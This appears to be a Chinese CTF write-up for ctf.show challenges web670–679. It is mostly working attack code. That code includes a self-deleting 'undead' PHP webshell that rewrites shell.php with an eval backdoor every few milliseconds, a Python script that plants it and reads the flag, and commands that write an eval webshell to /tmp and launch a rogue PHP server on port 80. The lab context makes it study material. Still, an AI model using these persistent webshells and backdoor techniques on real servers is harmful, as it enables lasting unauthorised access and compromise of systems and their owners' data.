web670
<?php
// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['action'];
switch($a){
case 'cmd':
eval($_POST['cmd']);
break;
case 'check':
file_get_contents("http://checker/api/check");
break;
default:
die('params not validate');
}
params not validate
check
之后直接啥都没了,应该是rm rm -rf *
打入不死🐎应该可以
但是需要看看有么有权限写入
可以那么我们上马
<?php
ignore_user_abort(true); //忽略客户端断开
set_time_limit(0); //一直执行
unlink(__FILE__); //隐藏脚本
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000); //暂停5ms
}
?>
?action=cmd
POST:
cmd=file_put_contents('a.php','<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file=\'shell.php\';$code=\'<?=@eval($_POST[1]);?>\';while(1) {file_put_contents($file,$code);usleep(5000);}?>');
这样子写入了
先访问一下url/a.php
让不死🐎开始运行再而看看shell.php
是不是已经生成了
生成过后check
,flag就被生成了即可
web671–web676
import requests
url="http://c2f4f600-6fe1-4b93-8481-842c6a5a0c32.challenge.ctf.show/"
data_ma={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file='shell.php';\\$code='<?php @eval(\\$_POST[1]);?>';while(1) {file_put_contents(\\$file,\\$code);usleep(5000);}?>\");"
}
r=requests.post(url+'?action=cmd',data=data_ma)
try:
requests.get(url+'a.php',timeout=(1,1)) # 2s
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={'1':'echo `tac /f*`;'})
print(r.text)
步骤都一样直接写个脚本打打吧
但是介于环境的特殊,只能是打一次如果失败了就得改脚本重开环境了,和污染一样的道理
web677–web678
一直看就可以了,没有写入权限
system('while true;do tac /f*;done');
刷了7 8次靶机了吧,嗯不懂whathappen就是不出flag
终于等了两分钟左右出flag了,因为check是直接把所有的东西都删了,如果后面再重新去的话,就无法访问了,只能等已经执行的命令出flag
web679
这道题特别像之前的一个公开赛,必须迅速的check不然就给你删了,所以
(check会关闭web服务,自己开)
php -S 0.0.0.0:80 -t /tmp/
启动内置服务器
写入默认的索引文件,并且访问的时候直接访问url就可以了
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');
打进去之后(10s内)马上check,然后等一会如果说的server关闭那失败了,如果马来了,那就对了